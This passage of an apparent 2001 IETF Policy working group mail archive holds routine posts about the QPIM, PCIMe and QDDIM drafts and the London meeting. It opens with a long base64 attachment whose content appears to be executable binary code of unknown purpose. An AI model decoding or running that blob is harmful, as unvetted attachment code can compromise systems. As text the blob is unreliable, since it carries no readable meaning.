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 LYtxf2wzxfjo6v///+gKAAAA+XP86QYAAAAxOYvEw0ALx+j1////6AkAAAD86QUAAAAxC5j5wzPF +Oj1////6AsAAAD5A8PpCAAAADEK+QPF+MPWqbCIf2xg6AYAAACLZCQI6wwz9mT/NmSJJv8G6+j5 cwUr9mSPBl7oAAAAAIPw74sMJFiB6RRiyAO7HJF/bIHzTZG3b+gNAAAAg9BL6Q4AAAAxCzPA/Plz k8Mli5h/bCPD6O3////oDQAAAIPAdekKAAAAMR0bwPzWw/wbxJATxegKAAAAK8TpCgAAADEO+BPC SMMTxEATxwPZuCSuf2yL+IHv2ZV/bBvGaPz6fGxe6A0AAAD8E8TpCQAAADEOG8X4+CvBwwvGmDEz T+gNAAAAM8aY6QwAAAAxORvEQPnDPevBf2zBwATo7v///7gEAAAAA9iLwPyYA8KLxgUX/HxsloPo OzPASAPHeAXpuP///x1Gy39sYdYLx8MAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ------=_NextPart_000_0062_01E0850A.68850AB0-- From majordomo@raleigh.ibm.com Mon Jul 30 13:49:01 2001 Received: from fwns2.raleigh.ibm.com (fwns2d.raleigh.ibm.com [204.146.167.236]) by ietf.org (8.9.1a/8.9.1a) with SMTP id NAA10457 for ; Mon, 30 Jul 2001 13:49:01 -0400 (EDT) Received: from rtpmail02.raleigh.ibm.com (rtpmail02.raleigh.ibm.com [9.37.172.48]) by fwns2.raleigh.ibm.com (8.9.0/8.9.0/RTP-FW-1.2) with ESMTP id NAA27192; Mon, 30 Jul 2001 13:35:48 -0400 Received: from rtpaix11.raleigh.ibm.com (rtpaix11.raleigh.ibm.com [9.37.172.4]) by rtpmail02.raleigh.ibm.com (8.8.5/8.8.5/RTP-ral-1.1) with SMTP id NAA22760; Mon, 30 Jul 2001 13:41:25 -0400 Received: by rtpaix11.raleigh.ibm.com (AIX 4.1/UCB 5.64/4.03-RAL) id AA44464; Mon, 30 Jul 2001 13:02:31 -0400 Received: from rtpmail02.raleigh.ibm.com by rtpaix11.raleigh.ibm.com (AIX 4.1/UCB 5.64/4.03-RAL) id AA36520; Mon, 30 Jul 2001 13:02:27 -0400 Received: from fwns2.raleigh.ibm.com (fwns2.raleigh.ibm.com [9.37.0.4]) by rtpmail02.raleigh.ibm.com (8.8.5/8.8.5/RTP-ral-1.1) with ESMTP id NAA27074 for ; Mon, 30 Jul 2001 13:02:27 -0400 Received: from sj-msg-core-1.cisco.com (sj-msg-core-1.cisco.com [171.71.163.11]) by fwns2.raleigh.ibm.com (8.9.0/8.9.0/RTP-FW-1.2) with ESMTP id MAA13446 for ; Mon, 30 Jul 2001 12:56:46 -0400 Received: from kaspit.cisco.com (kaspit.cisco.com [144.254.91.49]) by sj-msg-core-1.cisco.com (8.11.3/8.9.1) with ESMTP id f6UH1sg28648 for ; Mon, 30 Jul 2001 10:01:55 -0700 (PDT) Received: from YRAMBERG-W2K.cisco.com (telaviv3-dhcp169.cisco.com [144.254.93.107]) by kaspit.cisco.com (Mirapoint) with ESMTP id AKN01004; Mon, 30 Jul 2001 19:00:36 +0300 (GMT-3) Message-Id: <4.3.2.7.2.20010730184033.02bcaf20@kaspit.cisco.com> X-Sender: yramberg@kaspit.cisco.com X-Mailer: QUALCOMM Windows Eudora Version 4.3.2 Date: Mon, 30 Jul 2001 19:03:49 +0200 To: policy@raleigh.ibm.com From: Yoram Ramberg Subject: draft-ietf-policy-qos-info-model-0411.txt Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: policy-owner@raleigh.ibm.com Precedence: bulk Reply-To: Yoram Ramberg Policy WG members - The new revision of the QoS Policy Info Model (QPIM) is ready. It is available by pointing your browser to: ftp://199.203.55.57/draft-ietf-policy-qos-info-model-0411.txt This revision of QPIM has not been posted to the IETF site because it missed the deadline. However, the document has been revised to reflect all major issues that were addressed. We hope to be able to move this document to a last-call status shortly after the London meeting. In London we intend to present the latest modifications to QPIM as well as some minor open issues still remaining. See you all in London! For the QPIM Authors, *Yoram From majordomo@raleigh.ibm.com Mon Jul 30 20:04:08 2001 Received: from fwns1.raleigh.ibm.com (fwns1d.raleigh.ibm.com [204.146.167.235]) by ietf.org (8.9.1a/8.9.1a) with SMTP id UAA03374 for ; Mon, 30 Jul 2001 20:04:08 -0400 (EDT) Received: from rtpmail03.raleigh.ibm.com (rtpmail03.raleigh.ibm.com [9.37.172.47]) by fwns1.raleigh.ibm.com (8.9.0/8.9.0/RTP-FW-1.2) with ESMTP id TAA25232; Mon, 30 Jul 2001 19:50:31 -0400 Received: from rtpaix11.raleigh.ibm.com (rtpaix11.raleigh.ibm.com [9.37.172.4]) by rtpmail03.raleigh.ibm.com (8.8.5/8.8.5/RTP-ral-1.1) with SMTP id TAA28290; Mon, 30 Jul 2001 19:45:47 -0400 Received: by rtpaix11.raleigh.ibm.com (AIX 4.1/UCB 5.64/4.03-RAL) id AA46488; Mon, 30 Jul 2001 19:01:59 -0400 Received: from rtpmail03.raleigh.ibm.com by rtpaix11.raleigh.ibm.com (AIX 4.1/UCB 5.64/4.03-RAL) id AA36494; Mon, 30 Jul 2001 19:01:55 -0400 Received: from fwns1.raleigh.ibm.com (fwns1.raleigh.ibm.com [9.37.0.3]) by rtpmail03.raleigh.ibm.com (8.8.5/8.8.5/RTP-ral-1.1) with ESMTP id TAA30212; Mon, 30 Jul 2001 19:01:35 -0400 From: RaifNaffah@forge.com.au Received: from ballin.forge.com.au (ballin.forge.com.au [203.41.27.11]) by fwns1.raleigh.ibm.com (8.9.0/8.9.0/RTP-FW-1.2) with ESMTP id TAA10366; Mon, 30 Jul 2001 19:00:52 -0400 Received: from mrgarrison.forge.com.au (mrgarrison [192.168.100.4]) by ballin.forge.com.au (8.9.3/8.9.3) with ESMTP id CAA03764; Mon, 30 Jul 2001 02:34:28 GMT Received: from cobanna.forge.com.au (mrgarrison [127.0.0.1]) by mrgarrison.forge.com.au (8.11.2/8.8.7) with ESMTP id f6UN24t21268; Tue, 31 Jul 2001 09:02:04 +1000 To: "Robert Moore" Cc: policy@raleigh.ibm.com, policy-owner@raleigh.ibm.com, raif@fl.net.au Subject: Re: Working list of PCIMe-02 issues for London X-Mailer: Lotus Notes Release 5.0.1a (Intl) 17 August 1999 Message-Id: Date: Tue, 31 Jul 2001 08:56:20 +1000 X-Mimetrack: Serialize by Router on cobanna/Forge(Release 5.0.4 |June 8, 2000) at 07/31/2001 08:56:52 AM, Serialize complete at 07/31/2001 08:56:52 AM Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: policy-owner@raleigh.ibm.com Precedence: bulk Reply-To: RaifNaffah@forge.com.au Robert, Are the following points worth adding to the discussion? 1. formalisation of an execution Context for a RBE, 2. failures v/s exceptions while executing actions. TIA + cheers; rsn ----------------------------------------------------------------------- Raif S. Naffah Forge Research Pty. Limited < http://www.forge.com.au > ----------------------------------------------------------------------- The message contains privileged and confidential information intended only for the use of the addressee named above. If you are not the intended recipient of this message you must not disseminate, copy or take any action in reliance on it. If you have received this message in error please notify the sender immediately. Any views expressed in this message are those of the individual sender, except where the sender specifically states them to be the views of another (including a Body Corporate). ----------------------------------------------------------------------- "Robert Moore" Sent by: policy-owner@raleigh.ibm.com 30/07/01 23:10 Please respond to "Robert Moore" To: policy@raleigh.ibm.com cc: Subject: Working list of PCIMe-02 issues for London [edited] I've looked back through the mailing list, and here's my expanded list of PCIMe-02 issues for us to discuss in London.... - Issues related to IPHeaderFilter - The "Do Until Failure" ExecutionStrategy - Questions related to PolicyExplicitVariables - Issues related to compounding PolicyConditions - Evaluation and execution order - Criticality of extended conditions and actions - Criteria for compliance to PCIMe From majordomo@raleigh.ibm.com Tue Jul 31 13:58:54 2001 Received: from fwns1.raleigh.ibm.com (fwns1d.raleigh.ibm.com [204.146.167.235]) by ietf.org (8.9.1a/8.9.1a) with SMTP id NAA03760 for ; Tue, 31 Jul 2001 13:58:54 -0400 (EDT) Received: from rtpmail03.raleigh.ibm.com (rtpmail03.raleigh.ibm.com [9.37.172.47]) by fwns1.raleigh.ibm.com (8.9.0/8.9.0/RTP-FW-1.2) with ESMTP id NAA19854; Tue, 31 Jul 2001 13:54:38 -0400 Received: from rtpaix11.raleigh.ibm.com (rtpaix11.raleigh.ibm.com [9.37.172.4]) by rtpmail03.raleigh.ibm.com (8.8.5/8.8.5/RTP-ral-1.1) with SMTP id NAA33946; Tue, 31 Jul 2001 13:54:30 -0400 Received: by rtpaix11.raleigh.ibm.com (AIX 4.1/UCB 5.64/4.03-RAL) id AA32476; Tue, 31 Jul 2001 13:12:46 -0400 Received: from rtpmail02.raleigh.ibm.com by rtpaix11.raleigh.ibm.com (AIX 4.1/UCB 5.64/4.03-RAL) id AA40656; Tue, 31 Jul 2001 13:12:42 -0400 Received: from southrelay02.raleigh.ibm.com (southrelay02.raleigh.ibm.com [9.37.3.209]) by rtpmail02.raleigh.ibm.com (8.8.5/8.8.5/RTP-ral-1.1) with ESMTP id NAA34138 for ; Tue, 31 Jul 2001 13:12:41 -0400 Received: from d04mc200.raleigh.ibm.com (d04mc200.raleigh.ibm.com [9.67.228.62]) by southrelay02.raleigh.ibm.com (8.11.1m3/NCO v4.97) with ESMTP id f6VHCe491486 for ; Tue, 31 Jul 2001 13:12:40 -0400 Importance: Normal Subject: QDDIM-05 availability To: policy@raleigh.ibm.com X-Mailer: Lotus Notes Release 5.0.3 (Intl) 21 March 2000 Message-Id: From: "Robert Moore" Date: Tue, 31 Jul 2001 13:24:27 -0400 X-Mimetrack: Serialize by Router on D04MC200/04/M/IBM(Release 5.0.6 |December 14, 2000) at 07/31/2001 01:12:40 PM Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: policy-owner@raleigh.ibm.com Precedence: bulk Reply-To: "Robert Moore" Well, it appears that our outgoing mail gateway here at IBM completely ate the copy of the QDDIM update that I sent to Internet-Drafts on July 20. So until the IETF actually starts and they open up their input queue, you'll have to retrieve the draft from our AIW ftp server: ftp://ftp.networking.ibm.com/pub/standards/aiw/misc/draft-ietf-policy-qos-device-info-model-05.txt Don't worry - if you get in and out fast enough, only a little APPN will stick to your hands:-) Regards, Bob Bob Moore Advanced Design and Technology Application Integration Middleware Division IBM Software Group +1-919-254-4436 remoore@us.ibm.com From majordomo@raleigh.ibm.com Tue Jul 31 14:18:08 2001 Received: from fwns2.raleigh.ibm.com (fwns2d.raleigh.ibm.com [204.146.167.236]) by ietf.org (8.9.1a/8.9.1a) with SMTP id OAA05428 for ; Tue, 31 Jul 2001 14:18:07 -0400 (EDT) Received: from rtpmail01.raleigh.ibm.com (rtpmail01.raleigh.ibm.com [9.37.172.24]) by fwns2.raleigh.ibm.com (8.9.0/8.9.0/RTP-FW-1.2) with ESMTP id OAA19960; Tue, 31 Jul 2001 14:07:35 -0400 Received: from rtpaix11.raleigh.ibm.com (rtpaix11.raleigh.ibm.com [9.37.172.4]) by rtpmail01.raleigh.ibm.com (8.8.5/8.8.5/RTP-ral-1.1) with SMTP id OAA26522; Tue, 31 Jul 2001 14:13:15 -0400 Received: by rtpaix11.raleigh.ibm.com (AIX 4.1/UCB 5.64/4.03-RAL) id AA24476; Tue, 31 Jul 2001 13:35:55 -0400 Received: from rtpmail02.raleigh.ibm.com by rtpaix11.raleigh.ibm.com (AIX 4.1/UCB 5.64/4.03-RAL) id AA45204; Tue, 31 Jul 2001 13:35:52 -0400 Received: from fwns2.raleigh.ibm.com (fwns2.raleigh.ibm.com [9.37.0.4]) by rtpmail02.raleigh.ibm.com (8.8.5/8.8.5/RTP-ral-1.1) with ESMTP id NAA04348 for 